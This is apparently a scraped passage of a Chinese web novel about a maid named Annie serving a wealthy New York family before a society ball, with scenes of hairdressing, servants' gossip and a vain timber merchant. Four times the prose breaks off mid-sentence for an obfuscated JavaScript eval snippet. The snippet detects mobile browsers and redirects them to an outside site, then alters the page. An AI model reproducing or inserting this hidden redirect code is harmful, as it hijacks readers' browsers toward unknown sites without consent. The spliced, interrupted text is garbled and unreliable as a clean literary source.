安妮放弃使用那些黏腻的发膏，而是用手指巧妙地将头发梳理通顺。她没有试图堆高，而是将头发在脑后下方拢起，分成几股，快速地相互缠绕、编织，形成一个饱满而紧凑的发髻。她没有足够的发针，但她注意到旁边壁橱里有一盒用于点雪茄的火柴。她灵机一动，拿起几根火柴，折掉火柴头，用磨圆的火柴杆代替发针，巧妙地插入发髻的关键部位进行固定。 最后，她用手蘸了一点点壁橱里放着的、用于保养家具的蜂蜡，轻轻抹在那些不听话的碎发上，让它们服帖地固定在鬓边。 整个过程不到五分钟。一个优雅稳固、丝毫不显拖沓的低髻就完成了。它完美地衬托了梅布尔太太的脸型，让她看起来竟然比初次见到时还更加稳重和得体。甚至看起来，没那么凶了。 梅布尔太太对着走廊墙壁上装饰用的镀金镜框左照右照，脸上露出了难以置信的惊喜表情。她摸了摸牢固的发髻，又晃了晃头，发现它纹丝不动，而且头皮感觉轻松多了。 “嗯……还不错。”她努力维持着女管家的威严，但语气明显缓和了许多，“手脚还算麻利。好了，赶紧去把茶壶续满！”她没有说谢谢，但离开时脚步明显轻快了些。 安妮看着她的背影，轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417891|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻呼了口气。 安妮回到等候的位置，发现埃莉诺小姐也已经回到了客厅。她看向安妮的眼神里，多了一丝好奇和探究。 茶会终于结束了。夫人们约定了下次下午茶的地点后，挨个优雅地告辞，玛蒂尔达夫人亲自送到前厅门口。埃莉诺小姐跟在后面，脸色似乎好了一些。 仆人们开始安静而迅速地收拾残局。安妮在收拾茶具托盘时，埃莉诺小姐悄悄走到她身边，低声说：“刚才……谢谢你。还有，你帮梅布尔太太梳的头……很好看，看起来舒服多了。”她的声音里带着真诚的赞赏。 “只是些取巧的办法，小姐。”安妮谦虚地回答。 / 穿过那道分隔楼上世界与楼下世界的门，茶香瞬间被厨房的气息取代。 此时已近下午六点，主人的下午茶时间结束，意味着仆人们的休息时间到了。 仆人大厅里，气氛比平日稍显松弛。长长的木桌上摆着简单的冷餐：切片的冷肉、大块的奶酪、一篮粗面包、一壶热茶。这就是仆人们的晚餐，他们称之为“便餐”，仅为了快速果腹。因为主人晚餐时间很晚，仆人们需先用餐以保证体力在晚上提供服务。 安妮放下托盘，也走到桌边坐下。忙碌了大半天，她才感到胃里空得发慌。 露西递给她一块面包和一片奶酪，小声说：“快吃吧，今天有不错的切达奶酪。” 安妮道了谢，刚咬了一口面包，就听到梅布尔太太的声音在门口响起。她已经换回了日常的围裙，但那个低髻依旧整齐地挽在脑后。 “安妮，”女管家的声音听起来比平时平和许多，“你过来一下。” 安妮的心提了一下，放下食物走过去。 梅布尔太太打量了她一眼，从口袋里掏出一个小东西，塞进安妮手里：“这个给你。以后头发乱了，别再用那些见不得人的东西随便对付。” 安妮摊开手心，那是一根打磨光滑的木头发簪，虽然朴素，但比火柴杆强多了。 “谢谢您，太太。”安妮有些意外。 “没什么，”梅布尔太太移开目光，语气依旧硬邦邦的，“只是不想看你毛手毛脚地丢了布鲁克家的脸。赶紧回去吃饭吧。”说完，她转身走向厨师汤姆，讨论起明天的菜单。 安妮回到座位，将那根发簪小心收好。露西好奇地问：“梅布尔太太找你什么事？她好像……没那么不喜欢你了？” “没什么，一点小事。”安妮笑了笑，没有多说。她看到玛莎在一旁撇了撇嘴，但这次没说什么风凉话。 餐厅里的气氛渐渐热络起来。汤姆厨师一边大口吃着面包夹肉，一边抱怨今天的天气，出个门全是灰。洗衣妇海伦絮叨着清洗夫人那些昂贵蕾丝有多么麻烦。话题很快转到了刚刚结束的下午茶。 “那位范德比尔特夫人，排场可真大，”一个女仆小声说，“听说她家那个法国女仆，光是梳头用的梳子就有十几把不同的！” “哼，暴发户做派。”玛莎哼了一声，语气酸溜溜的，却又带着一丝羡慕，“穿金戴银，也掩盖不了身上的铜臭味。” “不过她家的舞会肯定很热闹，”露西向往地说，“肯定有很多漂亮的装饰和好吃的。” “再热闹也比不上阿斯特夫人家的开场舞会。”某个男仆插嘴道，“那才是真正的老牌世家风范。范德比尔特家再有钱，也挤不进那个最核心的圈子。” “所以夫人才要把咱们家的舞会安排在第三场呀，”露西压低声音，“既不像阿斯特夫人那么老派，又不像范德比尔特夫人那么……张扬。” 安妮默默地听着，小口喝着热茶。这些闲聊像碎片一样，拼凑出纽约上流社会微妙的等级图景。 就在这时，梅布尔太太似乎终于忍不住，加入了谈话。她刻意用一种随意的语气说：“她们那些法国请来的厨师，管家，女仆，都是样子货。表面功夫做得漂亮，其实内在凑合。还是我们美国人踏实，追求实在。” 她说着，下意识地挺直了背，让那个低髻更显眼一些。又说，“干起活来，还不如你们哩！” 露西立刻机灵地接话：“太太，您今天的发型就很好看，又大方又舒服的样子。” 梅布尔太太的嘴角微不可察地弯了一下，随即又板起脸：“吃饭的时候少说话！” 但气氛已经变了。几个女仆开始偷偷打量梅布尔太太的头发，又互相交换着眼色。 11. 镀金晨曲 汤姆·瑞克斯站在一人高的镀铜镜子前，仔细端详着自己的影像。镜子边框上雕刻着画风浮夸的葡萄藤纹路，是他特意从意大利商人那里订购的——据说老钱家族都喜欢这种古典风格。 “莉莉！”他朝门外喊道，同时调整着自己丝绸马甲的领口，“这领结打得不对！重新来！” 年轻女仆匆匆跑进来，手上还沾着面粉。她怯生生地站在这个身材微胖的木材商面前，手指微微发抖。 “先生，这已经是第三个领结了...”莉莉小声说，眼睛不敢直视主人身上那件亮得扎眼的红色晨袍。 汤姆不满地哼了一声，粗短的手指试图自己调整那个不听话的领结：“今天不同寻常，莉莉。今天我要去布鲁克家赴宴，并且商议重要事务。”他朝镜子里的自己眨眨眼，“很可能关系到我的终身大事。” 莉莉困惑地皱眉：“先生要订婚了吗？” “还没正式宣布，”汤姆故作神秘地压低声音，尽管房间里只有他们两人，“但很快就会了。埃莉诺小姐，你知道的，布鲁克家那位可爱的小姐...”他意味深长地停顿了一下，“她每次见到我都脸红，说话结巴，明显是对我有意思。” 莉莉回想起马车夫汉斯跟自己说，上次瑞克斯先生拜访布鲁克家时，埃莉诺小姐连面都没有露。但她明智地没有说出口。 “别愣着，重新打领结！要用那种法国式系法，我看范德比尔特夫人家的小子这么系过。”汤姆不耐烦地挥手，晨袍袖子夸张地甩动着。 半小时后，汤姆终于对自己的装扮满意了。他穿着一身崭新的橄榄绿色礼服，外套扣眼上别着一朵略显夸张的红色康乃馨。裤线锋利得能切开黄油，皮鞋亮得能当镜子照。 “汉斯！”他朝楼下喊道，“马车准备好了吗？” 年迈的车夫在楼下回应：“准备好了，先生。不过左轮子有点响声，可能需要——” “没时间修理了！”汤姆打断他，大步走下楼梯，“今天不能迟到。布鲁克家最看重守时，这是贵族做派。” 他走到门口，突然又转身：“那束花呢？我特意订购的玫瑰花？” 莉莉急忙从厨房捧来一束过分庞大的红玫瑰花束，包装纸上还印着显眼的金字——送给尊贵的埃莉诺小姐，几乎把娇小的女仆完全遮住。 “太大了，”汤姆挑剔地打量着花束，“显得太刻意...算了，就这样吧。”他接过花束，险些被它的重量带得一个踉跄。 门外，汉斯已经站在马车旁等候。那辆马车是汤姆最新炫耀的资本——漆黑的车身被擦得锃亮，车门上新漆的家族纹章格外醒目。连马匹都被精心梳理过，鬃毛编成了复杂的辫子。 纹章这主意，是最近从其他做生意的朋友那里学到的，花钱请人设计，然后再声称是远祖传下来的。 “注意车速，不能太快显得急躁，也不能太慢显得不自信。”汤姆一边吩咐汉斯，一边笨拙地爬进车厢，小心地将那束巨大的玫瑰放在对面座位上。 他得先去自己的工厂看看，否则一天心里都不踏实。马车驶向木材厂的路上，汤姆也不停地练习着晚些时候要说的台词。 “亲爱的埃莉诺小姐，当阳光照在您金色的秀发上...”他喃喃自语，然后又摇头，“不，太直白了。应该说‘今天天气真好，让我想起您明媚的笑容’...” 他从小匣子里取出一张小心折叠的纸，上面写着一首他花了大价钱请人代写的情诗。汤姆虔诚地展开纸页，轻声朗读起来： “哦，你的眼眸如最深的森林 你的微笑如锯开的松木般清新 我愿做你永远的木材供应商 提供最优质的情感材料。” 他感动地吸了吸鼻子：“真是太美了。埃莉诺小姐一定会被感动得落泪。” 马车到达木材厂时，工头乔已经带着工人们排成两列迎接。这个矮壮的男人脸上带着勉强的敬意，眼角却泄露出一丝不耐烦。 两人围着不大的厂房转了半圈后。 乔试图汇报工作：“先生，西区的订单需要您签字，还有新到的红木需要验收——” 汤姆大手一挥，打断了他：“今天没时间处理这些琐事。我有更重要的事务。”他环视着周围已经散得稀稀拉拉的工人，忽然皱起眉头，“你们中就没人注意到我今天有什么不同吗？” 工人们面面相觑，沉默不语。 “领带！新领带！”汤姆指着自己的颈部，恨铁不成钢地说，“意大利丝绸的！还有这外套，是请英国裁缝量身定制的！你们就一点审美眼光都没有吗？” 呵！原来他最后没打领结，换了条领带。 乔勉强开口：“很漂亮，先生。那么关于工资的事——” “明天再说！”汤姆再次打断，转身朝马车走去，“今天我得到布鲁克家赴约。很可能就要订婚了。”他补充道，仿佛刚刚想起什么似的，“对了，乔，你们好好干，以后可能要扩大生产规模。婚后肯定会有更多上流社会的订单……” 乔和工人们交换了一个无奈的眼神。这已经是瑞克斯先生本月第三次宣布“即将订婚”了。 回程路上，汤姆沉浸在美好的幻想中。他想象着自己挽着埃莉诺步入豪华宴会厅，周围投来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417892|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 羡慕的目光；想象着与玛蒂尔达夫人亲切交谈，称她为“亲爱的姑妈”；想象着自己的木材成为所有老钱家族的首选，价格翻了三倍，仍旧供不应求。 “汉斯，”他拉开前窗，对车夫说，“你觉得婚后是继续住在现在的宅子好，还是应该买一处更像‘老钱’风格的庄园？我听说哈德逊河边有处房产不错，就是需要全面翻修。” 老车夫含糊地应了一声，明智地没有发表具体意见。 汤姆靠在豪华座椅上，手指轻敲窗框，继续他的美梦：“得请个法语教师，埃莉诺小姐肯定会说法语。还有舞蹈课，上流社会的舞步和我平时学的可能不太一样。” 他突然坐直身子，从口袋里掏出那一张写着昂贵情诗的纸。他得在去赴宴之前，再好好念几遍，最好全部背下来。 “汉斯，汉斯！等会儿先在路过的公园停一停。” 在公园长凳上，汤姆开始练习朗诵。“啊，我的爱人，你像玫瑰一样美丽，像月亮一样明亮……”念到“玫瑰”时，他特意放慢语速，对着手中的小镜练习深情的眼神——皱眉、眨眼、伸手做拥抱状。 他又想起自己的“优势”，抱着自己，自言自语：“那些老钱少爷有什么？不就是有个好出身？论生意，他们连木材的结疤和纹理都分不清；论钱，我现在有木材行，下个月还要进一批加拿大松木，比他们坐吃山空强多了。埃莉诺小姐能继承的财产有限，肯定知道选谁才能过上好日子——选我，她还是布鲁克家的小姐，还能帮家里拉到木材订单；选那些草包，说不定过两年就要卖房子！”他越说越自信，连一位路过的小姐投来的奇异眼神，都没发现。 汉斯远远地坐在马车上瞧见，闷着嘿嘿乐。心里又愁，想着今晚能不能拿到拖欠的工钱 下午四点，汤姆坐马车到了布鲁克家。比约定的时间整整提前了2个半小时。 汉斯通过小窗谨慎地提醒：“先生，布鲁克家到了。” 汤姆最后检查了一次自己的着装。他深吸一口气，摆出自认为最优雅的姿态，抱起那束巨大的玫瑰花。 “祝我好运，汉斯，”他下车前说，“今天可能是我人生的转折点。” 汉斯点点头，看着主人迈着自信的步伐走向布鲁克家宏伟的大门，那束过分庞大的玫瑰几乎遮住了他半个身子。 马车夫轻轻摇头，小声嘀咕：“又一个被美梦迷住眼的可怜人。” 但他这话，汤姆·瑞克斯是听不见的。木材商已经完全沉浸在自己编织的美梦中，相信今天将是他人生的辉煌开端。 过不了多久，他就能成为真正的“上流人”。 12. 舞会前1 梅布尔太太尖利的声音，刺破了仆人大厅里的空气：“都愣着干什么？等范德比尔特家的马车撞到你们鼻子上了吗？动起来！” 冲突像一声炸雷，瞬间劈开了午后的慵懒。 女仆玛莎正对着一个模糊的银勺哈气，试图整理自己帽檐下散落的头发，被这吼声惊得手一抖，勺子哐当一声掉回水盆里。她嘟囔着：“范德比尔特家又不会到厨房来……” “但他们家的仆人会！法国来的！带着他们巴黎的规矩和瞧不起人的眼神！”梅布尔太太双手叉腰，黑色管家长裙因为急促的呼吸而微微起伏，顺带一说，那料子比所有女仆的裙子加起来都光滑，“到时候丢的是布鲁克家的脸，是我的脸！更是你们的脸！谁要是出了岔子，这个月的半日休假，取消，想都别想！” 威胁实实在在地砸了下来。每个月就那么半天出门的机会，谁都不愿意失去。大厅里的气氛骤然绷紧，擦拭银器的声音变得更急促，摆放瓷盘的动作也更慌张了。 安妮低着头，用力拧干一块软布。她能感觉到梅布尔太太的焦虑像热浪一样在并不宽敞的仆人大厅里滚动。今天下午四点，夫人小姐们要在前厅举行茶话会，而晚上的舞会才是真正的重头戏。对于梅布尔太太来说，这场舞会不亚于一场战争，而其他显赫家庭带来的仆从，就是前来巡视阵地的敌方军官。 “你！”梅布尔太太的手指猛地指向安妮，“别以为擦完走廊那些烛台就没事了。前厅茶会用的三层点心架，还有那套玫瑰花纹的瓷器，必须一点指纹都不能有！要是让阿斯特夫人的人看出一点不干净，你就等着瞧！” “是，梅布尔太太。”安妮低声应道，声音平稳。她早已学会无视梅布尔太太的情绪，只要你不当真，那情绪就不是真的。 “还有你，露西，手脚麻利点！茶会一结束，立刻收拾干净，五点钟之前我们必须把自己的晚饭吃完，然后全力准备舞会所需的餐！施耐德先生已经去检查门厅和舞厅了，要是谁那里出了错……”梅布尔太太没说完，只是冷哼一声，那意味比任何明确的惩罚都让人害怕。 露西吓得缩了缩脖子，几乎要把手里的盘子滑脱手。 安妮接过露西手中快要滑落的盘子。 “稳住，就像平时一样。” 露西感激地看了她一眼，深吸了口气。 “安妮！露西！嘀咕什么？！你们今天都得把帽子戴上！”梅布尔太太的吼声又追了过来，“还有你，玛莎，你那头发是怎么回事？乱得像堆干草！是想让范德比尔特家的女仆以为我们布鲁克家的人都从鸡窝里爬出来的吗？” 玛莎的脸一下子涨红了，手忙脚乱地想把更多头发塞进帽子里，却适得其反，反而扯得更乱了。她气得瞪了安妮一眼，仿佛这全是安妮的错。 安妮默默戴上丑陋的帽子，转身去取那套珍贵的玫瑰花纹瓷器。她知道梅布尔太太为何如此紧张。这场舞会是布鲁克家本社交季最重要的活动之一，纽约最顶尖的家族都会到来——古老尊贵的阿斯特夫人，新贵代表范德比尔特夫人，还有其他数得上名字的显赫人物。夫人们在前厅谈笑风生，比拼的是家世、珠宝和华服；而仆人们在幕后，比拼的则是效率、规矩和一尘不染的完美。任何一点瑕疵，都会被放大成整个家族的失礼。梅布尔太太作为女管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417893|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，她的权威和体面都系于此。 / 大宴会厅，布置已经基本就绪，长长的餐桌上铺着浆洗得笔挺的雪白桌布，银质茶壶反射着早早点燃的粗大烛火，每一朵桌花都是安妮和她的同事们精心折叠。地面，已经特意将地毯收进储藏室，光滑的地板打过蜡，方便小姐老爷们进行跳舞，然后摔个满怀。 “安妮，”露西凑过来，一边摆放着小巧的蛋糕叉，一边小声说，“你听说了吗？阿斯特夫人家的女管家，据说光是手套就有二十双，每天换着戴。” “专注手里的活，露西。”安妮提醒她，但自己也忍不住想象了一下那番景象。二十双白手套，那意味着怎样的生活？ “我还听说，范德比尔特家的法国女仆，会用一种特别的香膏，让头发一丝不乱，还能散发出紫罗兰的香味……”露西的语气里带着一丝羡慕和不可思议。 “对我们来说，肥皂和清水就够了。”安妮平静地说，用软布仔细擦过碟子的边缘。她来自一个知识触手可及的时代，但在这里，一点关于头发香膏的传闻，就足以成为一个女仆梦想中的奢侈品。这种巨大的差异感，时常让她感到恍惚。 当那座精致的镀金三层点心架被稳稳当当安置在餐桌中央，当最后一只玫瑰花纹茶杯被调整到完美角度，大厅的一切仿佛都凝固在了一种期待又肃穆的氛围里。 “好了，所有人都退出去！”梅布尔太太最后一次扫视全场，压低声音命令，“夫人小姐们马上就要下来了。都回仆人大厅，动作轻点！” 女仆们像受惊的鹌鹑一样，低着头，排着队，悄无声息地迅速离开前厅。 13. 舞会前2 仆人大厅里的气氛并未放松。 长桌上已经摆好了仆人们的晚餐——一大盘切好的冷火腿、一块结实的奶酪、一篮黑面包和一壶放了很久，颜色很深的茶。这大概是今天直到深夜睡觉前，他们唯一一段能稍微喘息的时光了。 但没人能真正放松。梅布尔太太坐在主位，眉头依旧紧锁，似乎还在脑子里一遍遍过着所有流程。她拿起一片面包，又烦躁地放下。 “施耐德先生呢？”她问一个刚跑进来的小帮工。 “先生还在门口和范德比尔特家的管家说话呢，”小帮工气喘吁吁地说，“他们的马车镶着黄铜边，真亮啊！马也高大极了！” 梅布尔太太的脸色更难看了。连马车都在比较之列。 汤姆厨师从厨房端出一小罐芥末酱，重重放在桌上：“喏，给火腿添点味。要我说，梅布尔，你把神经绷得太紧了，像个过度拧紧的发条，迟早要断掉。” “你懂什么？”梅布尔太太立刻反击，“要是出了差错，挨骂的可不是你这个躲在厨房里的厨子。你只需要管好你的炉子和汤锅就行！” “我当然得管好，”汤姆厨师毫不示弱，“免得某些人因为忙着梳那些学不来的发型，把夫人的晚宴给忘了。”他意有所指地瞥了一眼梅布尔太太头上那个显然精心打理过，但似乎总有点不那么妥帖的发髻。 梅布尔太太的脸瞬间红了，手不自觉地抬起来想碰头发，又强行忍住：“总比某些人一辈子只知道和面团打交道强！” 安妮安静地坐在长凳上，小口吃着她的面包和火腿。冷肉有点咸，奶酪味道很重，茶也涩口，但她吃得很认真。她需要保持体力。她听着梅布尔和汤姆之间的争吵，有点习惯了。只要施耐德先生不发话，大家都保持沉默。 露西碰了碰她的胳膊，极小声音地说：“你看玛莎。” 安妮看过去。玛莎正食不知味地嚼着面包，眼睛望着暗窗发呆。那里的墙体高出地面半个窗户，所以有光招进来。不知在想些什么。 就在这时，施耐德先生走了进来。他步伐稳健，脸上看不出任何情绪，但整个仆人大厅瞬间安静了下来，连梅布尔太太和汤姆厨师都暂时休战了。 “范德比尔特家的人已经到了？”梅布尔太太急切地问。 “他们的仆从已经到了，正在安排停车和行李。”施耐德先生的声音平稳无波，他走到餐桌前端起一杯茶，“阿斯特夫人的管家也派人来确认过晚上的鲜花摆放位置了……还有个瑞克斯先生提前来了。我只好在争得夫人同意后，让对方在某间小书房喝点咖啡。”他呷了一口茶，目光扫过全场，“所有人，五点半之前必须用完餐。六点整，各就各位。今晚我不希望看到任何不必要的交谈和失误。” 晚餐在沉默中匆匆结束。女仆们开始收拾餐具，动作比平时更快。 / 下午五点，自鸣钟精确响起。 整座宅邸骤然进入了一种最后冲刺的状态。 脚步声在各个走廊和楼梯间变得密集起来。男仆们穿着笔挺的制服，开始在前厅和门廊处就位，检查最后的细节，他们的表情严肃，如同等待检阅的士兵。施耐德先生的身影出现在各个关键节点，他的目光如同探照灯，扫过每一处可能出错的角落。 安妮和露西被派去最后擦拭一遍大舞厅门框上的雕花。她们踩着凳子，小心翼翼地拂去细微的灰尘。 “我反而不紧张了，”露西小声说，聊起八卦，“听说阿斯特夫人非常严厉，她的眼神能让你结冰。” “你把人描述成了女巫。”两人笑了笑。露西可能因为忙碌起来，反而不紧张。但安妮却多了一分紧张，这不仅仅是仆人的紧张，更是一种历史研究者踏入重要场域的兴奋感。她即将亲眼目睹这个时代顶尖的社交场。 透过舞厅敞开的双扇大门，她能看到巨大的水晶吊灯上的每一根坠饰都闪闪发光。靠墙摆放着丝绒面的椅子，等待着疲惫的舞者。壁炉里的火已经生起，跳跃的火光给这奢华的空间增添了暖意。 一切看起来都完美无瑕，像一幅华丽的画。 她从凳子上下来，和露西一起把凳子搬走。 施耐德先生正好巡视到这里。他停下脚步，灰蓝色的眼睛缓缓扫过门框、地板、水晶灯。他的目光没有在任何一个人身上停留，仿佛这一切完美都是自然而然的。 他没有说话。 然后，他转身，步伐沉稳地走向前厅方向，准备迎接第一批抵达的、真正属于这个辉煌夜晚的客人们。 安妮和露西对视一眼，都轻轻松了口气。 她们的工作暂时告一段落。 但夜晚才刚刚开始。 仆人大厅里传来梅布尔太太压着嗓子却又清晰无比的指令：“所有人！最后检查一次自己的仪容！各就各位！他们来了！” 安妮深吸一口气，整理了一下自己粗糙的围裙和帽子，跟着其他女仆，快步走向指定的位置——一条连接宴会厅和前厅的走廊阴影处。她们将像幽灵一样，随时待命，确保前厅的茶话会和之后的舞会，如同最精密的机器般顺畅运转。 外面隐约传来了马车驶近、车轮碾过碎石路的沙沙声，以及门童清晰嘹亮的通报声。 “范德比尔特先生与夫人到——！” / 门童身着笔挺深色制服、戴着白色手套。他深吸一口气，胸膛微微鼓起，用一种经过特殊训练、足以穿透轻柔音乐与谈话声的清晰洪亮嗓音宣告： “范德比尔特先生与夫人到——！” 厚重的橡木大门被缓缓拉开。 声音瞬间吸引了前厅内所有人的注意。原本三三两两低声交谈的客人们，几乎同时停下话语，目光齐刷刷地投向门口，脸上挂着恰到好处、训练有素的欢迎笑容。 安妮和其他几名女仆，按照事先反复排演过的位置，安静地站在走廊的阴影处，像一排沉默的背景板。但从这个角度，她恰好能将前方的一切尽收眼底。 只见贝莎·范德比尔特夫人挽着丈夫的手臂，仪态万方地走了进来。她身着一条奢华无比的雪白丝绸长裙，巨大的裙撑勾勒出流行的轮廓，裙摆上繁复的蕾丝和闪烁的珠宝刺绣，在枝形吊灯的光芒下几乎令人目眩。她微微抬着下巴，脸上带着一种新贵阶层特有的、既自信又隐约渴望被认可的笑容。 早已等候在门内的玛蒂尔达·布鲁克夫人立刻迎上前去，伊迪丝小姐和埃莉诺小姐则稍后半步，步态同样优雅。 “亲爱的贝莎！”玛蒂尔达夫人热情地伸出双手，握住范德比尔特夫人的手，目光直视着对方，声音甜美而富有感染力，“您今晚真是光彩照人！这料子，这剪裁，一定是巴黎沃斯的最新作品吧？恐怕今晚所有人的目光都要被您夺去了。” 这看似随意的恭维，实则精准地试探并肯定了对方的品味和财力——沃斯工作室是眼下欧洲最顶尖的时装屋，是贵族与富豪们竞相追逐的身份象征。 哪怕她两昨天下午茶才刚刚见过。哪怕玛蒂尔达夫人一直对范德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417894|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比尔特颇有微词，但今天她也表现的十分友善好客。 范德比尔特夫人显然很受用，笑容加深了几分：“您太过奖了，玛蒂尔达。您家的舞会，我们可是期待已久了。”她的目光快速而不易察觉地扫过玛蒂尔达夫人身上那件可能款式略保守但用料极佳、工艺无可指摘的深蓝色天鹅绒长裙，以及她佩戴的传承几代人的古董珍珠项链。 科尼利尔斯·范德比尔特先生，则由施耐德先生引入前厅。 几乎就在寒暄开始的瞬间，一名男仆便悄无声息地滑步上前。他手中的银质托盘，稳稳地放着一杯晶莹剔透的香槟。他将酒杯奉给范德比尔特先生，然后向施耐德先生微微一礼，离开退开。整个过程流畅、安静，没有一丝多余的声响。 紧接着，另一名女仆端着另一个稍小的银盘上前，上面是几只小巧的玻璃杯，里面盛着琥珀色的果汁。她将果汁分别递给范德比尔特夫人和小姐们。 又一名侍者端着堆满了鱼子酱小薄饼和松露巧克力的银盘，安静地等候在几步之外，确保客人在需要时能随时取用，又不会打扰到主人的初次寒暄。 很快，范德比尔特一家就融入了前厅的人群。与熟悉的人攀谈起来。 “摩根先生与夫人到——！” “罗斯福议员到——！” 玛蒂尔达夫人她们将客人引入后，立马又来到门口，还是站在刚才的位置。彷佛地上画了站位点一样，精准。 门童的声音一次次响起，每一次都标志着新的重要人物的入场。前厅迅速变得热闹起来，笑语晏晏。银质托盘如同有了生命的小舟，在衣着华丽的宾客间流畅地穿梭，确保每一位客人的手中都能及时得到适宜的饮品。 安妮的目光敏锐地扫视着全场。她看到几乎所有男士都穿着标准的黑色燕尾服，配着笔挺的白色衬衫和白色领结，锃亮的皮鞋一尘不染。而女士们则无一例外地穿着露肩的低胸长裙，戴着长长的、几乎覆盖到手肘的丝绸或蕾丝手套，发髻高耸，珠宝璀璨。这是进入这个圈子的统一门票，任何一点不合时宜的穿着，都会立刻成为无声的众矢之的。 她注意到一位略显局促的年轻男子，他的领结似乎不够挺括，颜色也微微有些发暗。施耐德先生在与这位年轻人的父亲——一位看起来颇为富态的商人——握手时，笑容似乎公式化了一分。而玛蒂尔达夫人则只是对他轻轻点了点头，便迅速将热情的笑容转向了下一位更重要的客人。很快，那位年轻人便不自觉地被交谈圈挤到了靠近大型盆栽的位置。 那里还站着个谁来着，对，汤姆·瑞克斯先生。他们凑一对了。 安妮心中了然。这就是规则。体面、财富、地位，一切都在这些细微的差别中被衡量、被确认、被排序。 她的目光最终落回了埃莉诺小姐身上。当一位夫人夸赞她的裙子时，埃莉诺的微笑完美无瑕。 她穿着一条浅绿色的纱裙，显得清新却也有些单薄。她跟在姑妈身后，努力维持着得体的微笑，与每一位被介绍到的客人行礼、寒暄。但安妮能看到她眼底深处的一丝疲惫和不自在。 轻柔的音乐继续流淌，这是纽约最好的乐手的演奏。 安妮静静地站在阴影里，听着，呼吸着。她看到玛蒂尔达夫人游刃有余地周旋着，看到范德比尔特夫人试图融入核心圈子的努力，看到阿斯特夫人那不动声色却掌控一切的眼神。她也看到埃莉诺的勉强。 好像有人问：安妮，这是你想要的吗？ 舞会，开始了。 14. 舞会前3 舞会开始前4小时。 玛蒂尔达夫人像一位即将迎来美国南北决战的将领，正在进行最后的检视。 她先是在前厅找到了施耐德先生。男管家正一丝不苟地调整着壁炉台上黄铜座钟的位置，确保其绝对居中。 “施耐德，”玛蒂尔达的声音带着不容置疑，“所有的水晶杯都必须毫无指印。今晚来的客人，眼睛比鹰还尖。我不希望听到任何关于服务不周的闲话，尤其是从阿斯特夫人或者范德比尔特夫人的随从那里。”她特意强调了最后两个名字，仿佛那是最重要的假想敌。 施耐德先生转过身，微微躬身，神态一如既往地沉稳：“一切都在按计划进行，夫人。酒窖温度适宜，香槟已充分冰镇。侍应生都经过再次培训，绝不会出现遮挡客人视线或碰撞之类的失误。门童清楚每一位重要宾客的头衔和正确发音。” “很好。”玛蒂尔达稍感满意，放缓了一些语气，“那些男宾帮我好好照应。” “始终如此，夫人。”施耐德平静地回答，仿佛在陈述一个自然定律。 接着，玛蒂尔达旋风般地刮进仆人大厅，但站在走廊口没有下去。 梅布尔太太正神经质地检查着女仆们手套的洁白程度。 “梅布尔太太！”玛蒂尔达的声音从上传来，“所有人的袖套、围裙，必须雪白挺括！我不允许任何一个人看起来有一丝疲沓或不整洁，那会直接拉低布鲁克家的档次！还有，盯着点那些小丫头片子，别让她们像没见过世面似的傻盯着客人看，或者偷听谈话！管好她们的眼睛和耳朵！” “是，是，夫人！您放心！”梅布尔太太连连保证，额头渗出细汗，感觉自己肩上的压力又重了几分。她立刻转身，更加严厉地低声训斥着一个围裙有细微褶皱的女仆。 玛蒂尔达立刻马不停蹄地走向家人们的房间，这些人最让她不省心。 她先推开了妹妹伊迪丝的房门。伊迪丝已经穿戴得差不多了，她选择了一条样式保守的灰黑色长裙，首饰也只戴了一串简单的珍珠项链。 爱犬在床上翻着肚子睡觉。她只在一旁安静地读经。 玛蒂尔达上下打量了她一番，眉头立刻蹙起：“伊迪丝，你就打算穿这个？灰扑扑的，像只躲在角落里的扑棱蛾子！今天多少重要人物在场？你这身打扮，别人还以为我们布鲁克家要破产了，或者你还在为你三年前死掉的猫服丧呢！” 伊迪丝的手顿了顿，声音温和却带着一丝坚持：“玛蒂尔达，我觉得这样很得体。我不需要成为焦点，舒适自在些就好。” 